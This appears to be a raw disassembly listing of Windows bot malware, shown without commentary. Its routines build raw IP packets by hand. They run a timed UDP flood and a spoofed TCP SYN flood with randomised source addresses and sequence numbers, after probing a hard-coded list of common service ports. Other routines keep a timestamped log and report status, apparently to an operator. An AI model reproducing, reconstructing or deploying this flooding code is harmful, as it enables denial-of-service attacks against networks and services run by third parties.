		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4E3178	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_415204
		lea	eax, [ebp+Dest]
		push	offset asc_44D044 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_4154CD
; ---------------------------------------------------------------------------

loc_415204:				; CODE XREF: sub_4151C6+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4E30D8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415230
		call	dword_4E308C	; WSAGetLastError
		push	eax
		push	offset unk_44D070
		jmp	short loc_41524B
; ---------------------------------------------------------------------------

loc_415230:				; CODE XREF: sub_4151C6+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4E3138	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41525F
		call	dword_4E308C	; WSAGetLastError
		push	eax
		push	offset asc_44D0C0 ; "-"

loc_41524B:				; CODE XREF: sub_4151C6+68j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4154CD
; ---------------------------------------------------------------------------

loc_41525F:				; CODE XREF: sub_4151C6+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4E30F8	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_4F5528	; inet_addr
		mov	esi, ds:dword_4F537C
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44D104 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4152C8
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_208]	; int
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_4152C8:				; CODE XREF: sub_4151C6+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		cmp	esi, eax
		pop	ecx
		ja	loc_415483
		mov	esi, 41Ch
		jmp	short loc_4152FC
; ---------------------------------------------------------------------------

loc_4152F7:				; CODE XREF: sub_4151C6+2B7j
		mov	ebx, 0FFh

loc_4152FC:				; CODE XREF: sub_4151C6+12Fj
		cmp	dword_4E68F0, edi
		jnz	short loc_415356
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E309C	; getsockname
		push	ebx
		push	1
		call	sub_419551
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D_2 ; "%d.%d.%d.%d"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_415366
; ---------------------------------------------------------------------------

loc_415356:				; CODE XREF: sub_4151C6+13Cj
		lea	eax, [ebp+var_54]
		push	offset byte_4E62D0 ; Source
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx

loc_415366:				; CODE XREF: sub_4151C6+18Ej
		push	esi
		mov	byte_4E64D0, 45h
		call	dword_4E30F8	; htons
		mov	word_4E64D2, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4E64D4, 1
		mov	word_4E64D6, di
		mov	byte_4E64D8, 80h
		mov	byte_4E64D9, 11h
		mov	word_4E64DA, di
		call	dword_4E3138	; inet_addr
		mov	dword_4E64DC, eax
		mov	eax, [ebp+var_20]
		mov	dword_4E64E0, eax
		lea	eax, [ebp+arg_84]
		push	eax		; Str
		mov	word_4E64EA, di
		call	_atoi
		test	eax, eax
		pop	ecx
		jnz	short loc_4153DE
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_4153EC
; ---------------------------------------------------------------------------

loc_4153DE:				; CODE XREF: sub_4151C6+206j
		lea	eax, [ebp+arg_84]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax

loc_4153EC:				; CODE XREF: sub_4151C6+216j
		call	dword_4E30F8	; htons
		mov	word_4E64E6, ax
		call	_rand
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4E64E4, dx
		call	dword_4E30F8	; htons
		push	400h		; Size
		mov	word_4E64E8, ax
		call	_rand
		cdq
		idiv	ebx
		push	edx		; Val
		push	offset dword_4E64EC ; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4E64D0
		push	[ebp+var_C]
		call	dword_4E315C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4154FC
		inc	[ebp+var_4]
		call	ds:dword_4F537C	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		cmp	ebx, eax
		pop	ecx
		jbe	loc_4152F7

loc_415483:				; CODE XREF: sub_4151C6+124j
		push	[ebp+var_C]
		call	dword_4E3190	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+Str]
		push	eax		; Str
		imul	esi, 41Ch
		call	_atoi
		pop	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset asc_44D1C8 ; "-"

loc_4154BE:				; CODE XREF: sub_4151C6+34Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h

loc_4154CD:				; CODE XREF: sub_4151C6+39j
					; sub_4151C6+94j
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4154F5
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_208]	; int
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_4154F5:				; CODE XREF: sub_4151C6+30Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4154FC:				; CODE XREF: sub_4151C6+28Bj
		push	[ebp+var_4]
		push	esi
		call	dword_4E308C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_44D13C
		jmp	short loc_4154BE
sub_4151C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415512	proc near		; DATA XREF: sub_401CC7+63E2o

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4E3138	; inet_addr
		push	eax
		call	sub_4156AF
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44D22C ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4155A7
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409D34
		add	esp, 14h

loc_4155A7:				; CODE XREF: sub_415512+73j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		push	[ebp+var_10]
		call	sub_40BA72
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_415512	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155C6	proc near		; CODE XREF: sub_4156AF+191p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_4155EF
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4F5530	; connect
		jmp	loc_4156AB
; ---------------------------------------------------------------------------

loc_4155EF:				; CODE XREF: sub_4155C6+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	ds:dword_4F5514	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4E30A0	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4E30E0	; select
		test	eax, eax
		jnz	short loc_415653
		or	eax, 0FFFFFFFFh
		jmp	short loc_4156AB
; ---------------------------------------------------------------------------

loc_415653:				; CODE XREF: sub_4155C6+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_41565E

loc_41565A:				; CODE XREF: sub_4155C6+B8j
					; sub_4155C6+DCj
		mov	eax, edi
		jmp	short loc_4156AB
; ---------------------------------------------------------------------------

loc_41565E:				; CODE XREF: sub_4155C6+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_43ABA2	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_415680
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_43ABA2	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41565A

loc_415680:				; CODE XREF: sub_4155C6+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	ds:dword_4F54FC	; getsockopt
		cmp	eax, edi
		jz	short loc_41565A
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax

loc_4156AB:				; CODE XREF: sub_4155C6+24j
					; sub_4155C6+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4155C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156AF	proc near		; CODE XREF: sub_415512+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], esi
		call	ds:dword_4F5524	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4E6960, eax
		call	dword_4E30D8	; setsockopt
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx

loc_4157F3:				; CODE XREF: sub_4156AF+1BEj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4E30F8	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4E3178	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_4155C6
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4E3190	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_415865
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax

loc_415865:				; CODE XREF: sub_4156AF+1A8j
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_4157F3
		mov	esi, offset byte_4E6964
		push	offset asc_44D258 ; " "
		push	esi		; Dest
		call	_sprintf
		mov	edi, ds:dword_4F537C
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax

loc_415898:				; CODE XREF: sub_4156AF+23Fj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_4158F0
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_4158C9
		push	eax
		push	esi
		push	offset aSD	; "%s%d	"
		push	esi		; Dest
		mov	[ebp+var_10], eax
		call	_sprintf
		add	esp, 10h
		jmp	short loc_4158E3
; ---------------------------------------------------------------------------

loc_4158C9:				; CODE XREF: sub_4156AF+203j
		push	0FFFFh
		push	ebx
		call	sub_419551
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E30F8	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax

loc_4158E3:				; CODE XREF: sub_4156AF+218j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_415898

loc_4158F0:				; CODE XREF: sub_4156AF+1FAj
					; sub_4156AF+46Bj
		push	28h		; Size
		push	ebx		; Val
		push	offset byte_4E6900 ; Dst
		call	_memset
		mov	esi, 0FFFFh
		mov	byte_4E6900, 45h
		push	esi
		push	400h
		mov	byte_4E6909, 6
		mov	byte_4E6901, 8
		call	sub_419551
		add	esp, 14h
		push	eax
		call	dword_4E30F8	; htons
		push	28h
		mov	word_4E6904, ax
		call	dword_4E30F8	; htons
		or	byte_4E6908, 0FFh
		cmp	dword_4E68F0, ebx
		mov	word_4E6902, ax
		mov	word_4E6906, bx
		jnz	short loc_415961
		push	[ebp+arg_0]
		call	sub_415B29
		pop	ecx
		jmp	short loc_41596C
; ---------------------------------------------------------------------------

loc_415961:				; CODE XREF: sub_4156AF+2A5j
		push	offset byte_4E62D0
		call	dword_4E3138	; inet_addr

loc_41596C:				; CODE XREF: sub_4156AF+2B0j
		mov	dword_4E690C, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4E6910, eax
		mov	byte_4E6921, bl
		call	dword_4E30F8	; htons
		push	esi
		push	ebx
		mov	word_4E6922, ax
		call	sub_419551
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_419551
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4E30F4	; htonl
		mov	dword_4E6918, eax
		mov	al, byte_4E6920
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4E6920, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4E691C, ebx
		mov	word_4E6926, bx
		mov	word_4E6916, ax
		mov	dword_4E693C, edi
		mov	byte_4E6940, bl
		mov	byte_4E6941, 6
		call	dword_4E30F8	; htons
		mov	word_4E6942, ax
		mov	ax, word_4E6916
		mov	word_4E6928, 2
		mov	dword_4E692C, edi
		mov	word_4E692A, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_415A22
; ---------------------------------------------------------------------------

loc_415A1D:				; CODE XREF: sub_4156AF+445j
		mov	esi, 0FFFFh

loc_415A22:				; CODE XREF: sub_4156AF+36Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_415A56
		push	esi
		push	ebx
		call	sub_419551
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E30F8	; htons
		mov	word_4E6914, ax
		mov	eax, dword_4E690C
		mov	dword_4E6938, eax
		mov	byte_4E6921, 2
		mov	dword_4E691C, ebx
		jmp	short loc_415A75
; ---------------------------------------------------------------------------

loc_415A56:				; CODE XREF: sub_4156AF+376j
		push	esi
		push	ebx
		mov	byte_4E6921, 10h
		call	sub_419551
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4E30F8	; htons
		movzx	eax, ax
		mov	dword_4E691C, eax

loc_415A75:				; CODE XREF: sub_4156AF+3A5j
		inc	word_4E6904
		inc	dword_4E6918
		mov	ax, word_4E6916
		push	5
		pop	ecx
		mov	esi, offset word_4E6914
		mov	edi, offset dword_4E6944
		mov	word_4E690A, bx
		mov	word_4E6924, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4E6900
		mov	word_4E692A, ax
		push	esi
		call	sub_40AFCA
		push	20h
		push	offset dword_4E6938
		mov	word_4E690A, ax
		call	sub_40AFCA
		add	esp, 10h
		mov	word_4E6924, ax
		push	10h
		push	offset word_4E6928
		push	ebx
		push	28h
		push	esi
		push	dword_4E6960
		call	dword_4E315C	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_415A1D
		call	ds:dword_4F537C	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415B1F
		push	[ebp+arg_8]
		call	ds:dword_4F534C	; Sleep
		jmp	loc_4158F0
; ---------------------------------------------------------------------------

loc_415B1F:				; CODE XREF: sub_4156AF+460j
		pop	edi
		pop	esi
		mov	eax, offset byte_4E6964
		pop	ebx
		leave
		retn
sub_4156AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_415B29	proc near		; CODE XREF: sub_4156AF+2AAp

arg_0		= dword	ptr  4

		push	0FFFEh
		push	1
		call	sub_419551
		pop	ecx
		pop	ecx
		mov	ecx, [esp+arg_0]
		shl	eax, 10h
		and	ecx, 0FFFFh
		or	eax, ecx
		retn
sub_415B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415B47(char *Str2,int)

sub_415B47	proc near		; CODE XREF: sub_401CC7+72A8p

var_4		= dword	ptr -4
Str2		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_455298
		mov	edi, 0B8h

loc_415B5B:				; CODE XREF: sub_415B47+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415B7E
		push	[ebp+Str2]	; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B7E
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_455E18
		jl	short loc_415B5B
		jmp	short loc_415BC0
; ---------------------------------------------------------------------------

loc_415B7E:				; CODE XREF: sub_415B47+17j
					; sub_415B47+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi		; Size
		push	0		; Val
		lea	ebx, dword_455298[esi]
		push	ebx		; Dst
		call	_memset
		push	17h		; Count
		push	[ebp+Str2]	; Source
		push	ebx		; Dest
		call	_strncpy
		push	9Fh		; Count
		lea	eax, dword_4552B0[esi]
		push	[ebp+arg_4]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 24h
		inc	dword_43F494
		pop	ebx

loc_415BC0:				; CODE XREF: sub_415B47+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415B47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415BC7(int,char *Str,int)

sub_415BC7	proc near		; CODE XREF: sub_401CC7+28CEp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0		; int
		push	[ebp+arg_8]	; int
		push	offset dword_44D264 ; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_455298

loc_415BF1:				; CODE XREF: sub_415BC7+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415C2C
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_	; "%d. "
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 2Ch

loc_415C2C:				; CODE XREF: sub_415BC7+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_455E18
		jl	short loc_415BF1
		pop	edi
		pop	esi
		leave
		retn
sub_415BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C3F	proc near		; CODE XREF: WinMain(x,x,x,x)+384p
					; WinMain(x,x,x,x)+408p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_4F5404	; GetLocalTime
		mov	ebx, offset byte_4EAD68
		mov	edi, 80h
		mov	esi, offset byte_4E6D68

loc_415C61:				; CODE XREF: sub_415C3F+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415C78
		push	7Fh		; Count
		lea	eax, [ebx+80h]
		push	ebx		; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch

loc_415C78:				; CODE XREF: sub_415C3F+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415C61
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415CB3(char *Format,char Args)

sub_415CB3	proc near		; CODE XREF: sub_4019E7+F7p
					; sub_401CC7:loc_402269p ...

Dest		= byte ptr -80h
Format		= dword	ptr  8
Args		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+Args]
		push	eax		; Args
		lea	eax, [ebp+Dest]
		push	[ebp+Format]	; Format
		push	80h		; Count
		push	eax		; Dest
		call	__vsnprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		add	esp, 14h
		leave
		retn
sub_415CB3	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+14h], ebx
		push	esi
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], ebx
		jnz	short loc_415D0E
		push	ebx
		push	dword ptr [ebp+10h]
		push	offset dword_44D2B0
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_409D34
		add	esp, 14h

loc_415D0E:				; CODE XREF: .text:00415CF5j
		cmp	[ebp+18h], ebx
		jz	short loc_415D26
		push	dword ptr [ebp+18h]
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415D26
		mov	[ebp-8], eax

loc_415D26:				; CODE XREF: .text:00415D11j
					; .text:00415D21j
		mov	[ebp+14h], ebx
		mov	esi, offset byte_4E6D68

loc_415D2E:				; CODE XREF: .text:00415D76j
		mov	eax, [ebp+14h]
		cmp	eax, [ebp-8]
		jge	short loc_415D78
		cmp	[esi], bl
		jz	short loc_415D67
		cmp	[ebp+18h], ebx
		jz	short loc_415D53
		cmp	[ebp-4], ebx
		jnz	short loc_415D53
		push	dword ptr [ebp+18h]
		push	esi
		call	sub_418D9F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415D67

loc_415D53:				; CODE XREF: .text:00415D3Dj
					; .text:00415D42j
		push	1
		push	dword ptr [ebp+10h]
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_409D34
		add	esp, 14h

loc_415D67:				; CODE XREF: .text:00415D38j
					; .text:00415D51j
		inc	dword ptr [ebp+14h]
		add	esi, 80h
		cmp	esi, offset byte_4EAD68
		jl	short loc_415D2E

loc_415D78:				; CODE XREF: .text:00415D34j
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_415D7C(int,char *Str,int,int)

sub_415D7C	proc near		; CODE XREF: sub_401CC7+27C5p

arg_0		= dword	ptr  4
Str		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset byte_4E6D68
		xor	ecx, ecx

loc_415D83:				; CODE XREF: sub_415D7C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset byte_4EAD68
		jl	short loc_415D83
		cmp	[esp+arg_C], ecx
		jnz	short loc_415DB1
		push	ecx		; int
		push	[esp+4+arg_8]	; int
		push	offset dword_44D2BC ; int
